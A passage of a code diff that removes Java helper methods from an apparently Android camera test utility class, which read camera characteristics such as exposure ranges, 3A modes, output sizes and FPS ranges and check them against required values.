-        return range.getLower();
-    }
-
-    /**
-     * Get the minimum value for an exposure range from android.sensor.info.exposureTimeRange.
-     *
-     * <p>If the camera is incorrectly reporting values, log a warning and return
-     * the default value instead, which is the largest minimum value required to be supported
-     * by all camera devices.</p>
-     *
-     * @return The value reported by the camera device or the defaultValue otherwise.
-     */
-    public long getExposureMinimumOrDefault() {
-        return getExposureMinimumOrDefault(SENSOR_INFO_EXPOSURE_TIME_RANGE_MIN_AT_MOST);
-    }
-
-    /**
-     * Get the maximum value for an exposure range from android.sensor.info.exposureTimeRange.
-     *
-     * <p>If the camera is incorrectly reporting values, log a warning and return
-     * the default value instead.</p>
-     *
-     * @param defaultValue Value to return if no legal value is available
-     * @return The value reported by the camera device or the defaultValue otherwise.
-     */
-    public long getExposureMaximumOrDefault(long defaultValue) {
-        Range<Long> range = getValueFromKeyNonNull(
-                CameraCharacteristics.SENSOR_INFO_EXPOSURE_TIME_RANGE);
-        if (range == null) {
-            failKeyCheck(CameraCharacteristics.SENSOR_INFO_EXPOSURE_TIME_RANGE,
-                    "had no valid maximum value; using default of " + defaultValue);
-            return defaultValue;
-        }
-        return range.getUpper();
-    }
-
-    /**
-     * Get the maximum value for an exposure range from android.sensor.info.exposureTimeRange.
-     *
-     * <p>If the camera is incorrectly reporting values, log a warning and return
-     * the default value instead, which is the smallest maximum value required to be supported
-     * by all camera devices.</p>
-     *
-     * @return The value reported by the camera device or the defaultValue otherwise.
-     */
-    public long getExposureMaximumOrDefault() {
-        return getExposureMaximumOrDefault(SENSOR_INFO_EXPOSURE_TIME_RANGE_MAX_AT_LEAST);
-    }
-
-    /**
-     * get android.control.availableModes and do the sanity check.
-     *
-     * @return available control modes.
-     */
-    public int[] getAvailableControlModesChecked() {
-        Key<int[]> modesKey = CameraCharacteristics.CONTROL_AVAILABLE_MODES;
-        int[] modes = getValueFromKeyNonNull(modesKey);
-        if (modes == null) {
-            modes = new int[0];
-        }
-
-        List<Integer> modeList = Arrays.asList(CameraTestUtils.toObject(modes));
-        checkTrueForKey(modesKey, "value is empty", !modeList.isEmpty());
-
-        // All camera device must support AUTO
-        checkTrueForKey(modesKey, "values " + modeList.toString() + " must contain AUTO mode",
-                modeList.contains(CameraMetadata.CONTROL_MODE_AUTO));
-
-        boolean isAeOffSupported =  Arrays.asList(
-                CameraTestUtils.toObject(getAeAvailableModesChecked())).contains(
-                        CameraMetadata.CONTROL_AE_MODE_OFF);
-        boolean isAfOffSupported =  Arrays.asList(
-                CameraTestUtils.toObject(getAfAvailableModesChecked())).contains(
-                        CameraMetadata.CONTROL_AF_MODE_OFF);
-        boolean isAwbOffSupported =  Arrays.asList(
-                CameraTestUtils.toObject(getAwbAvailableModesChecked())).contains(
-                        CameraMetadata.CONTROL_AWB_MODE_OFF);
-        if (isAeOffSupported && isAfOffSupported && isAwbOffSupported) {
-            // 3A OFF controls are supported, OFF mode must be supported here.
-            checkTrueForKey(modesKey, "values " + modeList.toString() + " must contain OFF mode",
-                    modeList.contains(CameraMetadata.CONTROL_MODE_OFF));
-        }
-
-        if (isSceneModeSupported()) {
-            checkTrueForKey(modesKey, "values " + modeList.toString() + " must contain"
-                    + " USE_SCENE_MODE",
-                    modeList.contains(CameraMetadata.CONTROL_MODE_USE_SCENE_MODE));
-        }
-
-        return modes;
-    }
-
-    public boolean isSceneModeSupported() {
-        List<Integer> availableSceneModes = Arrays.asList(
-                CameraTestUtils.toObject(getAvailableSceneModesChecked()));
-
-        if (availableSceneModes.isEmpty()) {
-            return false;
-        }
-
-        // If sceneMode is not supported, camera device will contain single entry: DISABLED.
-        return availableSceneModes.size() > 1 ||
-                !availableSceneModes.contains(CameraMetadata.CONTROL_SCENE_MODE_DISABLED);
-    }
-
-    /**
-     * Get aeAvailableModes and do the sanity check.
-     *
-     * <p>Depending on the check level this class has, for WAR or COLLECT levels,
-     * If the aeMode list is invalid, return an empty mode array. The the caller doesn't
-     * have to abort the execution even the aeMode list is invalid.</p>
-     * @return AE available modes
-     */
-    public int[] getAeAvailableModesChecked() {
-        Key<int[]> modesKey = CameraCharacteristics.CONTROL_AE_AVAILABLE_MODES;
-        int[] modes = getValueFromKeyNonNull(modesKey);
-        if (modes == null) {
-            modes = new int[0];
-        }
-        List<Integer> modeList = new ArrayList<Integer>();
-        for (int mode : modes) {
-            modeList.add(mode);
-        }
-        checkTrueForKey(modesKey, "value is empty", !modeList.isEmpty());
-
-        // All camera device must support ON
-        checkTrueForKey(modesKey, "values " + modeList.toString() + " must contain ON mode",
-                modeList.contains(CameraMetadata.CONTROL_AE_MODE_ON));
-
-        // All camera devices with flash units support ON_AUTO_FLASH and ON_ALWAYS_FLASH
-        Key<Boolean> flashKey= CameraCharacteristics.FLASH_INFO_AVAILABLE;
-        Boolean hasFlash = getValueFromKeyNonNull(flashKey);
-        if (hasFlash == null) {
-            hasFlash = false;
-        }
-        if (hasFlash) {
-            boolean flashModeConsistentWithFlash =
-                    modeList.contains(CameraMetadata.CONTROL_AE_MODE_ON_AUTO_FLASH) &&
-                    modeList.contains(CameraMetadata.CONTROL_AE_MODE_ON_ALWAYS_FLASH);
-            checkTrueForKey(modesKey,
-                    "value must contain ON_AUTO_FLASH and ON_ALWAYS_FLASH and  when flash is" +
-                    "available", flashModeConsistentWithFlash);
-        } else {
-            boolean flashModeConsistentWithoutFlash =
-                    !(modeList.contains(CameraMetadata.CONTROL_AE_MODE_ON_AUTO_FLASH) ||
-                    modeList.contains(CameraMetadata.CONTROL_AE_MODE_ON_ALWAYS_FLASH) ||
-                    modeList.contains(CameraMetadata.CONTROL_AE_MODE_ON_AUTO_FLASH_REDEYE));
-            checkTrueForKey(modesKey,
-                    "value must not contain ON_AUTO_FLASH, ON_ALWAYS_FLASH and" +
-                    "ON_AUTO_FLASH_REDEYE when flash is unavailable",
-                    flashModeConsistentWithoutFlash);
-        }
-
-        // FULL mode camera devices always support OFF mode.
-        boolean condition =
-                !isHardwareLevelAtLeastFull() || modeList.contains(CameraMetadata.CONTROL_AE_MODE_OFF);
-        checkTrueForKey(modesKey, "Full capability device must have OFF mode", condition);
-
-        // Boundary check.
-        for (int mode : modes) {
-            checkTrueForKey(modesKey, "Value " + mode + " is out of bound",
-                    mode >= CameraMetadata.CONTROL_AE_MODE_OFF
-                    && mode <= CameraMetadata.CONTROL_AE_MODE_ON_AUTO_FLASH_REDEYE);
-        }
-
-        return modes;
-    }
-
-    /**
-     * Get available AWB modes and do the sanity check.
-     *
-     * @return array that contains available AWB modes, empty array if awbAvailableModes is
-     * unavailable.
-     */
-    public int[] getAwbAvailableModesChecked() {
-        Key<int[]> key =
-                CameraCharacteristics.CONTROL_AWB_AVAILABLE_MODES;
-        int[] awbModes = getValueFromKeyNonNull(key);
-
-        if (awbModes == null) {
-            return new int[0];
-        }
-
-        List<Integer> modesList = Arrays.asList(CameraTestUtils.toObject(awbModes));
-        checkTrueForKey(key, " All camera devices must support AUTO mode",
-                modesList.contains(CameraMetadata.CONTROL_AWB_MODE_AUTO));
-        if (isHardwareLevelAtLeastFull()) {
-            checkTrueForKey(key, " Full capability camera devices must support OFF mode",
-                    modesList.contains(CameraMetadata.CONTROL_AWB_MODE_OFF));
-        }
-
-        return awbModes;
-    }
-
-    /**
-     * Get available AF modes and do the sanity check.
-     *
-     * @return array that contains available AF modes, empty array if afAvailableModes is
-     * unavailable.
-     */
-    public int[] getAfAvailableModesChecked() {
-        Key<int[]> key =
-                CameraCharacteristics.CONTROL_AF_AVAILABLE_MODES;
-        int[] afModes = getValueFromKeyNonNull(key);
-
-        if (afModes == null) {
-            return new int[0];
-        }
-
-        List<Integer> modesList = Arrays.asList(CameraTestUtils.toObject(afModes));
-        if (isHardwareLevelAtLeastLimited()) {
-            // Some LEGACY mode devices do not support AF OFF
-            checkTrueForKey(key, " All camera devices must support OFF mode",
-                    modesList.contains(CameraMetadata.CONTROL_AF_MODE_OFF));
-        }
-        if (hasFocuser()) {
-            checkTrueForKey(key, " Camera devices that have focuser units must support AUTO mode",
-                    modesList.contains(CameraMetadata.CONTROL_AF_MODE_AUTO));
-        }
-
-        return afModes;
-    }
-
-    /**
-     * Get supported raw output sizes and do the check.
-     *
-     * @return Empty size array if raw output is not supported
-     */
-    public Size[] getRawOutputSizesChecked() {
-        return getAvailableSizesForFormatChecked(ImageFormat.RAW_SENSOR,
-                StreamDirection.Output);
-    }
-
-    /**
-     * Get supported jpeg output sizes and do the check.
-     *
-     * @return Empty size array if jpeg output is not supported
-     */
-    public Size[] getJpegOutputSizesChecked() {
-        return getAvailableSizesForFormatChecked(ImageFormat.JPEG,
-                StreamDirection.Output);
-    }
-
-    /**
-     * Used to determine the stream direction for various helpers that look up
-     * format or size information.
-     */
-    public enum StreamDirection {
-        /** Stream is used with {@link android.hardware.camera2.CameraDevice#configureOutputs} */
-        Output,
-        /** Stream is used with {@code CameraDevice#configureInputs} -- NOT YET PUBLIC */
-        Input
-    }
-
-    /**
-     * Get available formats for a given direction.
-     *
-     * @param direction The stream direction, input or output.
-     * @return The formats of the given direction, empty array if no available format is found.
-     */
-    public int[] getAvailableFormats(StreamDirection direction) {
-        Key<StreamConfigurationMap> key =
-                CameraCharacteristics.SCALER_STREAM_CONFIGURATION_MAP;
-        StreamConfigurationMap config = getValueFromKeyNonNull(key);
-
-        if (config == null) {
-            return new int[0];
-        }
-
-        switch (direction) {
-            case Output:
-                return config.getOutputFormats();
-            case Input:
-                return config.getInputFormats();
-            default:
-                throw new IllegalArgumentException("direction must be output or input");
-        }
-    }
-
-    /**
-     * Get valid output formats for a given input format.
-     *
-     * @param inputFormat The input format used to produce the output images.
-     * @return The output formats for the given input format, empty array if
-     *         no available format is found.
-     */
-    public int[] getValidOutputFormatsForInput(int inputFormat) {
-        Key<StreamConfigurationMap> key =
-                CameraCharacteristics.SCALER_STREAM_CONFIGURATION_MAP;
-        StreamConfigurationMap config = getValueFromKeyNonNull(key);
-
-        if (config == null) {
-            return new int[0];
-        }
-
-        return config.getValidOutputFormatsForInput(inputFormat);
-    }
-
-    /**
-     * Get available sizes for given format and direction.
-     *
-     * @param format The format for the requested size array.
-     * @param direction The stream direction, input or output.
-     * @return The sizes of the given format, empty array if no available size is found.
-     */
-    public Size[] getAvailableSizesForFormatChecked(int format, StreamDirection direction) {
-        return getAvailableSizesForFormatChecked(format, direction,
-                /*fastSizes*/true, /*slowSizes*/true);
-    }
-
-    /**
-     * Get available sizes for given format and direction, and whether to limit to slow or fast
-     * resolutions.
-     *
-     * @param format The format for the requested size array.
-     * @param direction The stream direction, input or output.
-     * @param fastSizes whether to include getOutputSizes() sizes (generally faster)
-     * @param slowSizes whether to include getHighResolutionOutputSizes() sizes (generally slower)
-     * @return The sizes of the given format, empty array if no available size is found.
-     */
-    public Size[] getAvailableSizesForFormatChecked(int format, StreamDirection direction,
-            boolean fastSizes, boolean slowSizes) {
-        Key<StreamConfigurationMap> key =
-                CameraCharacteristics.SCALER_STREAM_CONFIGURATION_MAP;
-        StreamConfigurationMap config = getValueFromKeyNonNull(key);
-
-        if (config == null) {
-            return new Size[0];
-        }
-
-        Size[] sizes = null;
-
-        switch (direction) {
-            case Output:
-                Size[] fastSizeList = null;
-                Size[] slowSizeList = null;
-                if (fastSizes) {
-                    fastSizeList = config.getOutputSizes(format);
-                }
-                if (slowSizes) {
-                    slowSizeList = config.getHighResolutionOutputSizes(format);
-                }
-                if (fastSizeList != null && slowSizeList != null) {
-                    sizes = new Size[slowSizeList.length + fastSizeList.length];
-                    System.arraycopy(fastSizeList, 0, sizes, 0, fastSizeList.length);
-                    System.arraycopy(slowSizeList, 0, sizes, fastSizeList.length, slowSizeList.length);
-                } else if (fastSizeList != null) {
-                    sizes = fastSizeList;
-                } else if (slowSizeList != null) {
-                    sizes = slowSizeList;
-                }
-                break;
-            case Input:
-                sizes = config.getInputSizes(format);
-                break;
-            default:
-                throw new IllegalArgumentException("direction must be output or input");
-        }
-
-        if (sizes == null) {
-            sizes = new Size[0];
-        }
-
-        return sizes;
-    }
-
-    /**
-     * Get available AE target fps ranges.
-     *
-     * @return Empty int array if aeAvailableTargetFpsRanges is invalid.
-     */
-    @SuppressWarnings("raw")
-    public Range<Integer>[] getAeAvailableTargetFpsRangesChecked() {
-        Key<Range<Integer>[]> key =
-                CameraCharacteristics.CONTROL_AE_AVAILABLE_TARGET_FPS_RANGES;
-        Range<Integer>[] fpsRanges = getValueFromKeyNonNull(key);
-
-        if (fpsRanges == null) {
-            return new Range[0];
-        }
-
-        // Round down to 2 boundary if it is not integer times of 2, to avoid array out of bound
-        // in case the above check fails.
-        int fpsRangeLength = fpsRanges.length;
-        int minFps, maxFps;
-        long maxFrameDuration = getMaxFrameDurationChecked();
-        for (int i = 0; i < fpsRangeLength; i += 1) {
-            minFps = fpsRanges[i].getLower();
-            maxFps = fpsRanges[i].getUpper();
-            checkTrueForKey(key, " min fps must be no larger than max fps!",
-                    minFps > 0 && maxFps >= minFps);
-            long maxDuration = (long) (1e9 / minFps);
-            checkTrueForKey(key, String.format(
-                    " the frame duration %d for min fps %d must smaller than maxFrameDuration %d",
-                    maxDuration, minFps, maxFrameDuration), maxDuration <= maxFrameDuration);
-        }
-        return fpsRanges;
-    }
-
-    /**
-     * Get the highest supported target FPS range.
-     * Prioritizes maximizing the min FPS, then the max FPS without lowering min FPS.
-     */
-    public Range<Integer> getAeMaxTargetFpsRange() {
-        Range<Integer>[] fpsRanges = getAeAvailableTargetFpsRangesChecked();
-
-        Range<Integer> targetRange = fpsRanges[0];
-        // Assume unsorted list of target FPS ranges, so use two passes, first maximize min FPS
-        for (Range<Integer> candidateRange : fpsRanges) {
-            if (candidateRange.getLower() > targetRange.getLower()) {
-                targetRange = candidateRange;
-            }
-        }
-        // Then maximize max FPS while not lowering min FPS
-        for (Range<Integer> candidateRange : fpsRanges) {
-            if (candidateRange.getLower() >= targetRange.getLower() &&
-                    candidateRange.getUpper() > targetRange.getUpper()) {
-                targetRange = candidateRange;
-            }
-        }
-        return targetRange;
-    }
-
-    /**
-     * Get max frame duration.
-     *
-     * @return 0 if maxFrameDuration is null
-     */
-    public long getMaxFrameDurationChecked() {
-        Key<Long> key =
-                CameraCharacteristics.SENSOR_INFO_MAX_FRAME_DURATION;
-        Long maxDuration = getValueFromKeyNonNull(key);
-
-        if (maxDuration == null) {
-            return 0;
-        }
-
-        return maxDuration;
-    }
-
-    /**
-     * Get available minimal frame durations for a given format.
-     *
-     * @param format One of the format from {@link ImageFormat}.
-     * @return HashMap of minimal frame durations for different sizes, empty HashMap
-     *         if availableMinFrameDurations is null.
-     */
-    public HashMap<Size, Long> getAvailableMinFrameDurationsForFormatChecked(int format) {
-
-        HashMap<Size, Long> minDurationMap = new HashMap<Size, Long>();
-
-        Key<StreamConfigurationMap> key =
-                CameraCharacteristics.SCALER_STREAM_CONFIGURATION_MAP;
-        StreamConfigurationMap config = getValueFromKeyNonNull(key);
-
-        if (config == null) {
-            return minDurationMap;
-        }
-
-        for (android.util.Size size : getAvailableSizesForFormatChecked(format,
-                StreamDirection.Output)) {
-            long minFrameDuration = config.getOutputMinFrameDuration(format, size);
-
-            if (minFrameDuration != 0) {
-                minDurationMap.put(new Size(size.getWidth(), size.getHeight()), minFrameDuration);
-            }
-        }
-
-        return minDurationMap;
-    }
-
-    public int[] getAvailableEdgeModesChecked() {
-        Key<int[]> key = CameraCharacteristics.EDGE_AVAILABLE_EDGE_MODES;
-        int[] edgeModes = getValueFromKeyNonNull(key);
-
-        if (edgeModes == null) {
-            return new int[0];
-        }
-
-        List<Integer> modeList = Arrays.asList(CameraTestUtils.toObject(edgeModes));
-        // Full device should always include OFF and FAST
-        if (isHardwareLevelAtLeastFull()) {
-            checkTrueForKey(key, "Full device must contain OFF and FAST edge modes",
-                    modeList.contains(CameraMetadata.EDGE_MODE_OFF) &&
-                    modeList.contains(CameraMetadata.EDGE_MODE_FAST));
-        }
-
-        if (isHardwareLevelAtLeastLimited()) {
-            // FAST and HIGH_QUALITY mode must be both present or both not present
-            List<Integer> coupledModes = Arrays.asList(new Integer[] {
-                    CameraMetadata.EDGE_MODE_FAST,
-                    CameraMetadata.EDGE_MODE_HIGH_QUALITY
-            });
-            checkTrueForKey(
-                    key, " FAST and HIGH_QUALITY mode must both present or both not present",
-                    containsAllOrNone(modeList, coupledModes));
-        }
-
-        return edgeModes;
-    }
-
-    public int[] getAvailableNoiseReductionModesChecked() {
-        Key<int[]> key =
-                CameraCharacteristics.NOISE_REDUCTION_AVAILABLE_NOISE_REDUCTION_MODES;
-        int[] noiseReductionModes = getValueFromKeyNonNull(key);
-
-        if (noiseReductionModes == null) {
-            return new int[0];
-        }
-
-        List<Integer> modeList = Arrays.asList(CameraTestUtils.toObject(noiseReductionModes));
-        // Full device should always include OFF and FAST
-        if (isHardwareLevelAtLeastFull()) {
-
-            checkTrueForKey(key, "Full device must contain OFF and FAST noise reduction modes",
-                    modeList.contains(CameraMetadata.NOISE_REDUCTION_MODE_OFF) &&
-                    modeList.contains(CameraMetadata.NOISE_REDUCTION_MODE_FAST));
-        }
-
-        if (isHardwareLevelAtLeastLimited()) {
-            // FAST and HIGH_QUALITY mode must be both present or both not present
-            List<Integer> coupledModes = Arrays.asList(new Integer[] {
-                    CameraMetadata.NOISE_REDUCTION_MODE_FAST,
-                    CameraMetadata.NOISE_REDUCTION_MODE_HIGH_QUALITY
-            });
-            checkTrueForKey(
-                    key, " FAST and HIGH_QUALITY mode must both present or both not present",
-                    containsAllOrNone(modeList, coupledModes));
-        }
-        return noiseReductionModes;
-    }
-
-    /**
-     * Get value of key android.control.aeCompensationStep and do the sanity check.
-     *
-     * @return default value if the value is null.
-     */
-    public Rational getAeCompensationStepChecked() {
-        Key<Rational> key =
-                CameraCharacteristics.CONTROL_AE_COMPENSATION_STEP;
-        Rational compensationStep = getValueFromKeyNonNull(key);
-
-        if (compensationStep == null) {
-            // Return default step.
-            return CONTROL_AE_COMPENSATION_STEP_DEFAULT;
-        }
-
-        // Legacy devices don't have a minimum step requirement
-        if (isHardwareLevelAtLeastLimited()) {
-            float compensationStepF =
-                    (float) compensationStep.getNumerator() / compensationStep.getDenominator();
-            checkTrueForKey(key, " value must be no more than 1/2", compensationStepF <= 0.5f);
-        }
-
-        return compensationStep;
-    }
-
-    /**
-     * Get value of key android.control.aeCompensationRange and do the sanity check.
-     *
-     * @return default value if the value is null or malformed.
-     */
-    public Range<Integer> getAeCompensationRangeChecked() {
-        Key<Range<Integer>> key =
-                CameraCharacteristics.CONTROL_AE_COMPENSATION_RANGE;
-        Range<Integer> compensationRange = getValueFromKeyNonNull(key);
-        Rational compensationStep = getAeCompensationStepChecked();
-        float compensationStepF = compensationStep.floatValue();
-        final Range<Integer> DEFAULT_RANGE = Range.create(
-                (int)(CONTROL_AE_COMPENSATION_RANGE_DEFAULT_MIN / compensationStepF),
-                (int)(CONTROL_AE_COMPENSATION_RANGE_DEFAULT_MAX / compensationStepF));
-        final Range<Integer> ZERO_RANGE = Range.create(0, 0);
-        if (compensationRange == null) {
-            return ZERO_RANGE;
-        }
-
-        // Legacy devices don't have a minimum range requirement
-        if (isHardwareLevelAtLeastLimited() && !compensationRange.equals(ZERO_RANGE)) {
-            checkTrueForKey(key, " range value must be at least " + DEFAULT_RANGE
-                    + ", actual " + compensationRange + ", compensation step " + compensationStep,
-                   compensationRange.getLower() <= DEFAULT_RANGE.getLower() &&
-                   compensationRange.getUpper() >= DEFAULT_RANGE.getUpper());
-        }
-
-        return compensationRange;
-    }
-
-    /**
-     * Get availableVideoStabilizationModes and do the sanity check.
-     *
-     * @return available video stabilization modes, empty array if it is unavailable.
-     */
-    public int[] getAvailableVideoStabilizationModesChecked() {
-        Key<int[]> key =
-                CameraCharacteristics.CONTROL_AVAILABLE_VIDEO_STABILIZATION_MODES;
-        int[] modes = getValueFromKeyNonNull(key);
-
-        if (modes == null) {
-            return new int[0];
-        }
-
-        List<Integer> modeList = Arrays.asList(CameraTestUtils.toObject(modes));
-        checkTrueForKey(key, " All device should support OFF mode",
-                modeList.contains(CameraMetadata.CONTROL_VIDEO_STABILIZATION_MODE_OFF));
-        checkArrayValuesInRange(key, modes,
-                CameraMetadata.CONTROL_VIDEO_STABILIZATION_MODE_OFF,
-                CameraMetadata.CONTROL_VIDEO_STABILIZATION_MODE_ON);
-
-        return modes;
-    }
-
-    public boolean isVideoStabilizationSupported() {
-        Integer[] videoStabModes =
-                CameraTestUtils.toObject(getAvailableVideoStabilizationModesChecked());
-        return Arrays.asList(videoStabModes).contains(
-                CameraMetadata.CONTROL_VIDEO_STABILIZATION_MODE_ON);
-    }
-
-    /**
-     * Get availableOpticalStabilization and do the sanity check.
-     *
-     * @return available optical stabilization modes, empty array if it is unavailable.
-     */
-    public int[] getAvailableOpticalStabilizationChecked() {
-        Key<int[]> key =
-                CameraCharacteristics.LENS_INFO_AVAILABLE_OPTICAL_STABILIZATION;
-        int[] modes = getValueFromKeyNonNull(key);
-
-        if (modes == null) {
-            return new int[0];
-        }
-
-        checkArrayValuesInRange(key, modes,
-                CameraMetadata.LENS_OPTICAL_STABILIZATION_MODE_OFF,
-                CameraMetadata.LENS_OPTICAL_STABILIZATION_MODE_ON);
-
-        return modes;
-    }
-
-    /**
-     * Get the scaler's max digital zoom ({@code >= 1.0f}) ratio between crop and active array
-     * @return the max zoom ratio, or {@code 1.0f} if the value is unavailable
-     */
-    public float getAvailableMaxDigitalZoomChecked() {
-        Key<Float> key =
-                CameraCharacteristics.SCALER_AVAILABLE_MAX_DIGITAL_ZOOM;
-
-        Float maxZoom = getValueFromKeyNonNull(key);
-        if (maxZoom == null) {
-            return 1.0f;
-        }
-
-        checkTrueForKey(key, " max digital zoom should be no less than 1",
-                maxZoom >= 1.0f && !Float.isNaN(maxZoom) && !Float.isInfinite(maxZoom));
-
-        return maxZoom;
-    }
-
-    public int[] getAvailableSceneModesChecked() {
-        Key<int[]> key =
-                CameraCharacteristics.CONTROL_AVAILABLE_SCENE_MODES;
-        int[] modes = getValueFromKeyNonNull(key);
-
-        if (modes == null) {
-            return new int[0];
-        }
-
-        List<Integer> modeList = Arrays.asList(CameraTestUtils.toObject(modes));
-        // FACE_PRIORITY must be included if face detection is supported.
-        if (areKeysAvailable(CameraCharacteristics.STATISTICS_INFO_MAX_FACE_COUNT) &&
-                getMaxFaceCountChecked() > 0) {
-            checkTrueForKey(key, " FACE_PRIORITY must be included if face detection is supported",
-                    modeList.contains(CameraMetadata.CONTROL_SCENE_MODE_FACE_PRIORITY));
-        }
-
-        return modes;
-    }
-
-    public int[] getAvailableEffectModesChecked() {
-        Key<int[]> key =
-                CameraCharacteristics.CONTROL_AVAILABLE_EFFECTS;
-        int[] modes = getValueFromKeyNonNull(key);
-
-        if (modes == null) {
-            return new int[0];
-        }
-
-        List<Integer> modeList = Arrays.asList(CameraTestUtils.toObject(modes));
-        // OFF must be included.
-        checkTrueForKey(key, " OFF must be included",
-                modeList.contains(CameraMetadata.CONTROL_EFFECT_MODE_OFF));
-
-        return modes;
-    }
-
-    /**
-     * Get and check the available color aberration modes
-     *
-     * @return the available color aberration modes
-     */
-    public int[] getAvailableColorAberrationModesChecked() {
-        Key<int[]> key =
-                CameraCharacteristics.COLOR_CORRECTION_AVAILABLE_ABERRATION_MODES;
-        int[] modes = getValueFromKeyNonNull(key);
-
-        if (modes == null) {
-            return new int[0];
-        }
-
-        List<Integer> modeList = Arrays.asList(CameraTestUtils.toObject(modes));
-        checkTrueForKey(key, " Camera devices must always support either OFF or FAST mode",
-                modeList.contains(CameraMetadata.COLOR_CORRECTION_ABERRATION_MODE_OFF) ||
-                modeList.contains(CameraMetadata.COLOR_CORRECTION_ABERRATION_MODE_FAST));
-
-        if (isHardwareLevelAtLeastLimited()) {
-            // FAST and HIGH_QUALITY mode must be both present or both not present
-            List<Integer> coupledModes = Arrays.asList(new Integer[] {
-                    CameraMetadata.COLOR_CORRECTION_ABERRATION_MODE_FAST,
-                    CameraMetadata.COLOR_CORRECTION_ABERRATION_MODE_HIGH_QUALITY
-            });
-            checkTrueForKey(
-                    key, " FAST and HIGH_QUALITY mode must both present or both not present",
-                    containsAllOrNone(modeList, coupledModes));
-        }
-        checkElementDistinct(key, modeList);
-        checkArrayValuesInRange(key, modes,
-                CameraMetadata.COLOR_CORRECTION_ABERRATION_MODE_OFF,
-                CameraMetadata.COLOR_CORRECTION_ABERRATION_MODE_HIGH_QUALITY);
-
-        return modes;
-    }
-
-    /**
-     * Get max pipeline depth and do the sanity check.
-     *
-     * @return max pipeline depth, default value if it is not available.
-     */
-    public byte getPipelineMaxDepthChecked() {
-        Key<Byte> key =
-                CameraCharacteristics.REQUEST_PIPELINE_MAX_DEPTH;
-        Byte maxDepth = getValueFromKeyNonNull(key);
-
-        if (maxDepth == null) {
-            return REQUEST_PIPELINE_MAX_DEPTH_MAX;
-        }
-
-        checkTrueForKey(key, " max pipeline depth should be no larger than "
-                + REQUEST_PIPELINE_MAX_DEPTH_MAX, maxDepth <= REQUEST_PIPELINE_MAX_DEPTH_MAX);
-
-        return maxDepth;
-    }
-
-    /**
-     * Get available lens shading modes.
-     */
-     public int[] getAvailableLensShadingModesChecked() {
-         Key<int[]> key =
-                 CameraCharacteristics.SHADING_AVAILABLE_MODES;
-         int[] modes = getValueFromKeyNonNull(key);
-         if (modes == null) {
-             return new int[0];
-         }
-
-         List<Integer> modeList = Arrays.asList(CameraTestUtils.toObject(modes));
-         // FAST must be included.
-         checkTrueForKey(key, " FAST must be included",
-                 modeList.contains(CameraMetadata.SHADING_MODE_FAST));
-
-         if (isCapabilitySupported(
-                 CameraMetadata.REQUEST_AVAILABLE_CAPABILITIES_MANUAL_POST_PROCESSING)) {
-             checkTrueForKey(key, " OFF must be included for MANUAL_POST_PROCESSING devices",
-                     modeList.contains(CameraMetadata.SHADING_MODE_OFF));
-         }
-         return modes;
-     }
-
-     /**
-      * Get available lens shading map modes.
-      */
-      public int[] getAvailableLensShadingMapModesChecked() {
-          Key<int[]> key =
-                  CameraCharacteristics.STATISTICS_INFO_AVAILABLE_LENS_SHADING_MAP_MODES;
-          int[] modes = getValueFromKeyNonNull(key);
-          if (modes == null) {
-              return new int[0];
-          }
-
-          List<Integer> modeList = Arrays.asList(CameraTestUtils.toObject(modes));
-
-          if (isCapabilitySupported(
-                  CameraMetadata.REQUEST_AVAILABLE_CAPABILITIES_RAW)) {
-              checkTrueForKey(key, " ON must be included for RAW capability devices",
-                      modeList.contains(CameraMetadata.STATISTICS_LENS_SHADING_MAP_MODE_ON));
-          }
-          return modes;
-      }
-
-
-    /**
-     * Get available capabilities and do the sanity check.
-     *
-     * @return reported available capabilities list, empty list if the value is unavailable.
-     */
-    public List<Integer> getAvailableCapabilitiesChecked() {
-        Key<int[]> key =
-                CameraCharacteristics.REQUEST_AVAILABLE_CAPABILITIES;
-        int[] availableCaps = getValueFromKeyNonNull(key);
-        List<Integer> capList;
-
-        if (availableCaps == null) {
-            return new ArrayList<Integer>();
-        }
-
-        checkArrayValuesInRange(key, availableCaps,
-                CameraCharacteristics.REQUEST_AVAILABLE_CAPABILITIES_BACKWARD_COMPATIBLE,
-                CameraCharacteristics.REQUEST_AVAILABLE_CAPABILITIES_CONSTRAINED_HIGH_SPEED_VIDEO);
-        capList = Arrays.asList(CameraTestUtils.toObject(availableCaps));
-        return capList;
-    }
-
-    /**
-     * Determine whether the current device supports a capability or not.
-     *
-     * @param capability (non-negative)
-     *
-     * @return {@code true} if the capability is supported, {@code false} otherwise.
-     *
-     * @throws IllegalArgumentException if {@code capability} was negative
-     *
-     * @see CameraCharacteristics#REQUEST_AVAILABLE_CAPABILITIES
-     */
-    public boolean isCapabilitySupported(int capability) {
-        if (capability < 0) {
-            throw new IllegalArgumentException("capability must be non-negative");
-        }
-
-        List<Integer> availableCapabilities = getAvailableCapabilitiesChecked();
-
-        return availableCapabilities.contains(capability);
-    }
-
-    /**
-     * Determine whether or not all the {@code keys} are available characteristics keys
-     * (as in {@link CameraCharacteristics#getKeys}.
-     *
-     * <p>If this returns {@code true}, then querying for this key from a characteristics
-     * object will always return a non-{@code null} value.</p>
-     *
-     * @param keys collection of camera characteristics keys
-     * @return whether or not all characteristics keys are available
-     */
-    public final boolean areCharacteristicsKeysAvailable(
-            Collection<CameraCharacteristics.Key<?>> keys) {
-        return mCharacteristics.getKeys().containsAll(keys);
-    }
-
-    /**
-     * Determine whether or not all the {@code keys} are available result keys
-     * (as in {@link CameraCharacteristics#getAvailableCaptureResultKeys}.
-     *
-     * <p>If this returns {@code true}, then querying for this key from a result
-     * object will almost always return a non-{@code null} value.</p>
-     *
-     * <p>In some cases (e.g. lens shading map), the request must have additional settings
-     * configured in order for the key to correspond to a value.</p>
-     *
-     * @param keys collection of capture result keys
-     * @return whether or not all result keys are available
-     */
-    public final boolean areResultKeysAvailable(Collection<CaptureResult.Key<?>> keys) {
-        return mCharacteristics.getAvailableCaptureResultKeys().containsAll(keys);
-    }
-
-    /**
-     * Determine whether or not all the {@code keys} are available request keys
-     * (as in {@link CameraCharacteristics#getAvailableCaptureRequestKeys}.
-     *
-     * <p>If this returns {@code true}, then setting this key in the request builder
-     * may have some effect (and if it's {@code false}, then the camera device will
-     * definitely ignore it).</p>
-     *
-     * <p>In some cases (e.g. manual control of exposure), other keys must be also be set
-     * in order for a key to take effect (e.g. control.mode set to OFF).</p>
-     *
-     * @param keys collection of capture request keys
-     * @return whether or not all result keys are available
-     */
-    public final boolean areRequestKeysAvailable(Collection<CaptureRequest.Key<?>> keys) {
-        return mCharacteristics.getAvailableCaptureRequestKeys().containsAll(keys);
-    }
-
-    /**
-     * Determine whether or not all the {@code keys} are available characteristics keys
-     * (as in {@link CameraCharacteristics#getKeys}.
-     *
